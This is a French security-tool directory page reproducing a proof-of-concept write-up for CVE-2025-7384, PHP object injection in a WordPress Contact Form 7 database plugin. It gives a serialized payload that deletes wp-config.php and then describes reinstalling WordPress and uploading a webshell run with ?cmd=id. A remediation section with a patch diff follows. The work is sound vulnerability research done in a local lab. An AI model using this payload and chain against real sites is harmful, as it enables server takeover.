Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-7384 — Exploit PoC et analyse de la cause racine d'une injection d'objet PHP non authentifiée critique dans WordPress Database for Contact Form 7, menant à une exécution de code à distance (RCE) via la suppression arbitraire de fichiers. | Kitploit
Outils/GitHubGitHub/dungsocool/cve-2025-7384
Analyse des VulnérabilitésExploitationExploitation d'Applications WebApprentissage et ÉducationLabs et Pratique
GitHubdungsocool/cve-2025-7384

CVE-2025-7384

Exploit PoC et analyse de la cause racine d'une injection d'objet PHP non authentifiée critique dans WordPress Database for Contact Form 7, menant à une exécution de code à distance (RCE) via la suppression arbitraire de fichiers.

Voir le dépôt
1il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-7384 — Injection d'objets PHP vers RCE

Plugin : Database for Contact Form 7 (contact-form-entries) ≤ 1.4.3
CVSS : 9.8 (Critique)
CWE : CWE-502 — Désérialisation de données non fiables
Exigence d'authentification : Aucune (non authentifié)
Impact : Exécution de code à distance


Table des matières

  1. Présentation de la vulnérabilité
  2. Concepts associés
  3. Analyse de la cause racine — Découverte de la vulnérabilité à partir du code source
  4. Chaîne d'attaque
  5. Reproduction pas à pas (POC)
  6. Évaluation de l'impact
  7. Mesures de remédiation

1. Présentation de la vulnérabilité

Le plugin « Database for Contact Form 7 » (slug : contact-form-entries) version 1.4.3 et inférieures contient une vulnérabilité d'injection d'objets PHP. Lorsqu'un administrateur WordPress consulte un enregistrement de formulaire (entrée) dans le panneau d'administration, le plugin appelle la fonction maybe_unserialize() directement sur des données soumises par un utilisateur non authentifié via Contact Form 7, sans contrôler la liste des classes autorisées à être instanciées.

Un attaquant n'a pas besoin de se connecter — il lui suffit de soumettre un formulaire de contact classique en insérant un objet PHP sérialisé dans n'importe quel champ du formulaire. Ces données sont stockées brutes dans la base de données. Lorsqu'un administrateur ouvre l'entrée pour la consulter, la fonction de désérialisation instancie un objet choisi par l'attaquant, déclenchant des méthodes magiques comme __destruct() ou __wakeup() → exécution d'un comportement arbitraire selon les gadgets POP disponibles dans l'environnement WordPress.

Niveau de gravité : Avec un gadget POP approprié (par exemple, une classe dont la méthode __destruct() appelle unlink()), un attaquant peut supprimer le fichier wp-config.php, ramenant WordPress à son écran d'installation initial → réinstallation avec un compte administrateur contrôlé par l'attaquant → installation d'un plugin contenant une webshell → obtention d'une exécution de code à distance (RCE) complète sur le serveur.

AttributValeur
Identifiant CVECVE-2025-7384
Score CVSS9.8 (Critique)
CWECWE-502 — Désérialisation de données non fiables
Plugin concernécontact-form-entries (Database for Contact Form 7) ≤ 1.4.3
Exigence d'authentificationAucune — toute personne soumettant un formulaire CF7 peut injecter la charge utile
Condition de déclenchementL'administrateur consulte l'entrée injectée dans le panneau d'administration
Impact maximalExécution de code à distance non authentifiée
Version corrigée1.4.4+ (remplace unserialize par json_decode ou allowed_classes: false)

2. Concepts associés

Sérialisation / Désérialisation PHP

PHP utilise serialize() pour convertir un objet en une chaîne de texte structurée, et unserialize() pour restaurer l'objet à partir de cette chaîne. Lorsque unserialize() reçoit des données provenant d'une source non fiable (par exemple, une entrée utilisateur), un attaquant peut construire un objet arbitraire appartenant à n'importe quelle classe actuellement chargée en mémoire PHP à ce moment-là.

Méthodes magiques PHP

Méthodes spéciales que PHP invoque automatiquement durant le cycle de vie d'un objet. Les plus importantes dans ce contexte :

  • __wakeup() — invoquée immédiatement lorsqu'un objet est désérialisé
  • __destruct() — invoquée lorsqu'un objet est détruit (sort de la portée, ou la requête se termine)
  • __toString() — invoquée lorsqu'un objet est converti en chaîne de caractères

Chaîne POP (Property-Oriented Programming)

Une technique consistant à enchaîner plusieurs méthodes magiques de classes existantes dans l'application pour construire une séquence dangereuse de comportements. L'attaquant n'écrit pas de nouveau code — il ne manipule que les propriétés d'objets existants afin que, lorsque les méthodes magiques s'exécutent, elles effectuent des actions non voulues par les développeurs.

maybe_unserialize() dans WordPress

Une fonction d'encapsulation (wrapper) du noyau WordPress. Elle appelle is_serialized() pour vérifier si une chaîne est des données sérialisées — si c'est le cas, elle appelle unserialize() pour restaurer l'objet. Problème : cette fonction ne passe pas le paramètre allowed_classes (disponible depuis PHP 7.0) pour limiter les classes autorisées à l'instanciation.


3. Analyse de la cause racine — Découverte de la vulnérabilité à partir du code source

Étape 1 : Recherche des points de terminaison (sink hunting)

Commencez par parcourir l'ensemble du code source du plugin avec grep pour localiser les fonctions de désérialisation — ce sont les fonctions les plus dangereuses en PHP car elles peuvent mener à une injection d'objets :

root@kitploit:~
grep -rn "unserialize" wp-src/wp-content/plugins/contact-form-entries/

image.png

La sortie révèle plusieurs points d'appel de maybe_unserialize(), notamment dans includes/data.php à la ligne 545 au sein de la fonction verify_val() :

image 1.png

root@kitploit:~
// data.php lines 538-548
public function verify_val($string){
    if(in_array(substr(ltrim($string),0,1), array('{','['))
       && in_array(substr(rtrim($string),-1), array('}',']'))
    ){
        $val = json_decode($string, 1);
        if(is_array($val)){ $string = $val; }
    } else if(is_serialized($string)){            // line 544
        $string = maybe_unserialize($string);     // ★ line 545 — SINK
    }
    return $string;
}

Question clé : D'où provient la variable $string ? Si elle provient d'une entrée utilisateur sans filtrage → c'est une vulnérabilité.

Étape 2 : Traçage rétrograde — D'où proviennent les données ?

Trouvez où verify_val() est appelée. Tracez en arrière dans le même fichier data.php :

image 2.png

root@kitploit:~
// data.php lines 520-535
public function get_lead_detail($lead_id){
    global $wpdb;
    $table = $wpdb->prefix . 'vxcf_leads_detail';
    $detail_arr = $wpdb->get_results(
        $wpdb->prepare("SELECT * FROM $table WHERE lead_id=%d", $lead_id),
        ARRAY_A
    );

    foreach($detail_arr as $k => $v){
        if(!empty($v['value'])){
            $detail_arr[$k]['value'] = $this->verify_val($v['value']);  // ← calls verify_val
        }
    }
    return $detail_arr;
}

→ $string correspond exactement à $v['value'] — les valeurs extraites de la table wp_vxcf_leads_detail. Cette fonction est appelée lorsqu'un administrateur consulte les détails d'une entrée de formulaire.

Question suivante : D'où proviennent les données dans wp_vxcf_leads_detail ? Qui les écrit ?

Étape 3 : Recherche des points d'écriture des données (source)

D'après l'étape 2, les données sont lues depuis la base de données. Question suivante : qui y écrit des données ? Recherchez les requêtes INSERT dans data.php :

root@kitploit:~
grep -rn "insert" wp-src/wp-content/plugins/contact-form-entries/includes/data.php

image 3.png

Ouvrez le code de la fonction create_lead() (lignes 85-103) pour plus de détails :

image 4.png

Aux lignes 98-99, la valeur $v — qui correspond au contenu d'un champ de formulaire (par exemple, your-message) — est insérée directement dans la base de données via $wpdb->insert(). Le plugin se branche sur l'événement wpcf7_before_send_mail de Contact Form 7, de sorte que chaque fois qu'un utilisateur soumet un formulaire, tous les champs sont stockés bruts.

Vérification supplémentaire : le plugin utilise bien sanitize_text_field() et sanitize_textarea_field() avant l'enregistrement, mais ces deux fonctions ne font que supprimer les balises HTML et les caractères HTML spéciaux — une charge utile sérialisée comme O:21:"VulnerableFileHandler":2:{...} ne contient aucune balise HTML et passe donc intégralement sans être modifiée.

Étape 4 : Conclusion — Confirmation de la vulnérabilité

À ce stade, le flux complet est établi :

root@kitploit:~
Un utilisateur non authentifié soumet un formulaire CF7 (le champ your-message contient un objet sérialisé)
    ↓ sanitize_text_field() — NE BLOQUE PAS les chaînes sérialisées
Enregistré dans la table wp_vxcf_leads_detail (charge utile brute)
    ↓
L'administrateur consulte l'entrée → get_lead_detail() → verify_val()
    ↓ is_serialized() retourne true
maybe_unserialize($string) — ligne 545 → PHP instancie un objet arbitraire
    ↓
Le __destruct() de l'objet s'exécute → effectue une action contrôlée par l'attaquant

Cause racine : La fonction maybe_unserialize() à data.php:545 est appelée sur des données provenant d'une entrée utilisateur non authentifiée, sans passer allowed_classes: false. Un attaquant n'a qu'à soumettre un objet PHP sérialisé via le champ your-message d'un formulaire CF7 → lorsqu'un administrateur consulte l'entrée, PHP instancie cet objet et déclenche la méthode magique __destruct().

Étape 5 : Vérification avec le débogueur (Xdebug)

Pour une preuve visuelle, placez un point d'arrêt avec Xdebug à la ligne 545 de data.php. Après avoir injecté la charge utile via le formulaire et fait consulter l'entrée par l'administrateur, le débogueur s'arrête exactement sur maybe_unserialize() :

image 5.png

Panneau des variables affiche $string contenant la charge utile de l'attaquant :

  • $string = "O:21:\"VulnerableFileHandler\":2:{s:9:\"file_path\";s:27:\"/var/www/html/wp-config.php\";s:7:\"cleanup\";b:1;}" → la charge utile a voyagé du formulaire → base de données → fonction de désérialisation sans être bloquée

Ligne d'exécution :

  • Ligne 545 : $string=maybe_unserialize($string);

Pile d'appels montre la séquence d'appels de fonctions :

root@kitploit:~
vxcf_form_data->verify_val        data.php:545
vxcf_form_data->get_entries       data.php:388
vxcf_form::get_entries            contact-form-entries.php:2682
vxcf_form_pages->entries_page     plugin-pages.php:1017
...
WP_Hook->apply_filters            class-wp-hook.php:324
WP_Hook->do_action                class-wp-hook.php:348

→ Confirme le flux analysé exactement : l'administrateur consulte l'entrée → get_entries() → verify_val() → maybe_unserialize().


4. Chaîne d'attaque

La chaîne d'attaque comprend 5 étapes. L'attaquant n'a besoin d'exécuter que l'étape 1 (soumission du formulaire). Les étapes 2 à 5 se produisent automatiquement après qu'un administrateur consulte l'entrée.

Étape 1 — Injection de la charge utile (non authentifiée)

L'attaquant soumet un formulaire CF7 avec un objet PHP sérialisé dans le champ du message.

  • Point de terminaison : POST /wp-json/contact-form-7/v1/contact-forms/{id}/feedback
  • Le champ your-message contient : O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;}
  • Le plugin enregistre la charge utile dans la table wp_vxcf_leads_detail — sanitize_text_field() ne bloque pas les chaînes sérialisées

Étape 2 — Déclenchement de la désérialisation (en attendant l'administrateur)

L'administrateur ouvre la page Contact Form Entries → consulte les détails de l'entrée → le plugin appelle verify_val() → maybe_unserialize().

  • PHP instancie l'objet VulnerableFileHandler avec file_path = "/var/www/html/wp-config.php" et cleanup = true
  • Lorsque la requête se termine, le ramasse-miettes de PHP invoque __destruct() → unlink("/var/www/html/wp-config.php")

Étape 3 — Suppression arbitraire de fichier

Le fichier wp-config.php est supprimé → WordPress perd la connexion à la base de données.

  • L'accès à http://target/ → redirige automatiquement vers /wp-admin/setup-config.php (écran d'installation initial)
  • WordPress considère le site comme non installé

Étape 4 — Réinstallation de WordPress

L'attaquant réinstalle WordPress en utilisant des identifiants de base de données connus (ou obtenus par force brute).

  • Crée un nouveau compte administrateur contrôlé par l'attaquant
  • Se connecte au tableau de bord d'administration avec les privilèges d'administrateur complets

Étape 5 — Exécution de code à distance

Installez un plugin contenant une webshell → exécutez des commandes système arbitraires.

  • Tableau de bord d'administration → Extensions → Ajouter → Téléverser une extension ZIP contenant une webshell PHP
  • Accéder à l'URL de la webshell : /wp-content/plugins/shell/shell.php?cmd=id
  • Sortie : uid=33(www-data) gid=33(www-data) → RCE terminée

5. Reproduction pas à pas (POC)

5.1 Configuration de l'environnement

Démarrez le laboratoire Docker contenant WordPress + le plugin vulnérable :

root@kitploit:~
cd CVE-2025-7384
docker-compose up --build -d

Attendez environ 40 secondes jusqu'à ce que les journaux affichent LAB READY. Accédez à http://localhost:8181 pour vérifier que WordPress fonctionne.

5.2 Identifier le point d'injection

D'après l'analyse du code source de la section 3, nous savons :

  • Le sink se trouve à data.php:545 — maybe_unserialize() sur les valeurs des champs de formulaire
  • La source est la table wp_vxcf_leads_detail — les données proviennent du formulaire CF7
  • L'assainissement repose uniquement sur sanitize_text_field() — ne bloque pas les chaînes sérialisées

→ Conclusion : il suffit de soumettre un objet PHP sérialisé dans n'importe quel champ du formulaire CF7. Choisissez your-message car c'est une zone de texte, qui accepte les chaînes longues et qui subit moins de validation de format (contrairement à your-email qui exige un format e-mail).

5.3 Injecter la charge utile via le formulaire de contact

Accédez à http://localhost:8181/contact/ et remplissez le formulaire comme suit :

ChampValeur
Votre nomdung
Votre e-mail[email protected]
Sujettest inject
Votre messageO:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;}

image 6.png

Explication de la charge utile :

  • O:21:"VulnerableFileHandler" — instancie la classe VulnerableFileHandler (dont __destruct() appelle unlink())
  • s:9:"file_path";s:27:"/var/www/html/wp-config.php" — la propriété file_path pointe vers le fichier cible à supprimer
  • s:7:"cleanup";b:1 — la propriété cleanup = true pour que __destruct() exécute unlink()

Cliquez sur Envoyer. Le formulaire affiche un message d'erreur d'envoi d'e-mail (ou de succès) — peu importe, car le plugin contact-form-entries a déjà enregistré toutes les données dans la base avant l'envoi du courrier.

5.4 Déclencher la désérialisation — L'administrateur consulte l'entrée

Connectez-vous à http://localhost:8181/wp-admin (admin / admin123) → dans le menu de gauche, sélectionnez CRM Entries → cliquez pour voir l'entrée reçue.

image 7.png

C'est le moment exact où l'exécution atteint data.php:545 — le plugin récupère la valeur your-message depuis la base de données, le test is_serialized() retourne true, appelle maybe_unserialize() → PHP crée l'objet VulnerableFileHandler → la requête se termine, __destruct() s'exécute → unlink("/var/www/html/wp-config.php").

5.5 Confirmer la suppression arbitraire de fichier

Naviguez vers http://localhost:8181/ dans le navigateur → WordPress redirige vers la page /wp-admin/setup-config.php (écran d'installation initial) → le fichier wp-config.php est bien supprimé.

image 8.png

5.6 Passer à l'exécution de code à distance (RCE)

Avec wp-config.php supprimé, WordPress revient à l'état non installé. Étapes de l'attaquant :

Étape 1 — Réinstaller WordPress :

Accédez à http://localhost:8181/wp-admin/setup-config.php → saisissez les identifiants de la base de données :

ChampValeur
Nom de la base de donnéeswordpress
Nom d'utilisateurwpuser
Mot de passewppass
Hôte de la base de donnéesdb
Préfixe des tableswp_

Cliquez sur Envoyer → Exécutez l'installation → créez un nouveau compte administrateur contrôlé par l'attaquant.

Étape 2 — Téléverser la webshell :

Connectez-vous au tableau de bord d'administration → Extensions → Ajouter → Téléverser une extension → téléversez le fichier system-health.zip (ou system-monitor.zip).

image 9.png

Téléversement et activation réussis.

Étape 3 — Exécuter des commandes (RCE) :

Accédez : http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=id

image 10.png

Sortie : uid=33(www-data) gid=33(www-data) → Exécution de code à distance terminée

Accédez : http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=whoami

image 11.png

Sortie : www-data → Exécution de code à distance terminée


6. Évaluation de l'impact

Métrique CVSSValeurExplication
Vecteur d'attaqueRéseauExploitable via HTTP, aucun accès physique nécessaire
Complexité de l'attaqueFaibleNécessite uniquement l'envoi d'une requête POST contenant la charge utile
Privilèges requisAucunAucune authentification requise — le formulaire CF7 est accessible au public
Interaction de l'utilisateurAucune*L'administrateur consulte les entrées dans le cadre de son travail habituel
ConfidentialitéÉlevéeLa RCE permet de lire n'importe quel fichier sur le serveur
IntégritéÉlevéeLa RCE permet d'écrire/modifier n'importe quel fichier
DisponibilitéÉlevéeLa suppression de wp-config.php fait planter tout le site

*Interaction de l'utilisateur : la NVD l'évalue comme « Aucune » car le fait qu'un administrateur consulte les entrées de formulaire est un comportement attendu, et non une interaction anormale de l'utilisateur.

Portée réelle de l'impact

  • Le plugin « Database for Contact Form 7 » compte plus de 100 000+ installations actives sur wordpress.org
  • Tout site WordPress exécutant ce plugin en version ≤ 1.4.3 avec Contact Form 7 est vulnérable
  • L'attaquant n'a besoin d'aucune information préalable — il lui suffit d'identifier que le site utilise Contact Form 7 (facilement détectable dans le code source HTML)
  • La charge utile est stockée de manière persistante dans la base de données, rendant l'attaque persistante jusqu'à la suppression de l'entrée

7. Mesures de remédiation

Pour les développeurs de plugins

  1. N'utilisez pas maybe_unserialize() sur des données fournies par l'utilisateur. Utilisez plutôt json_decode() lorsqu'un stockage structuré des données est nécessaire.

  2. Si la désérialisation est strictement nécessaire, fournissez l'option allowed_classes: false (PHP 7.0+) :

root@kitploit:~
$data = unserialize($string, ['allowed_classes' => false]);

Cela empêche PHP d'instancier un objet quelconque — seuls les types scalaires et les tableaux sont autorisés.

  1. Validez les données d'entrée au niveau du stockage : si un champ de formulaire ne doit contenir que du texte brut, rejetez toute valeur correspondant au motif /^[OaCis]:\d+/ (indicateur de données sérialisées).

Pour les administrateurs WordPress

  1. Mettez à jour le plugin immédiatement vers la version 1.4.4 ou supérieure
  2. Inspectez la table wp_vxcf_leads_detail pour détecter les entrées contenant des chaînes au format O:XX:"ClassName": — leur présence indique des tentatives d'attaque
  3. Assurez-vous que wp-config.php a des permissions restrictives (440 ou 400) — réduisant la probabilité de suppression par le processus du serveur web
  4. Déployez un WAF (pare-feu applicatif web) configuré avec des règles pour détecter les objets PHP sérialisés dans les données POST

Différence du correctif (référence)

root@kitploit:~
// BEFORE (vulnerable):
} else if(is_serialized($string)){
    $string = maybe_unserialize($string);
}

// AFTER (patched):
} else if(is_serialized($string)){
    $string = json_decode(json_encode(
        unserialize($string, ['allowed_classes' => false])
    ), true);
}
Télécharger l’outil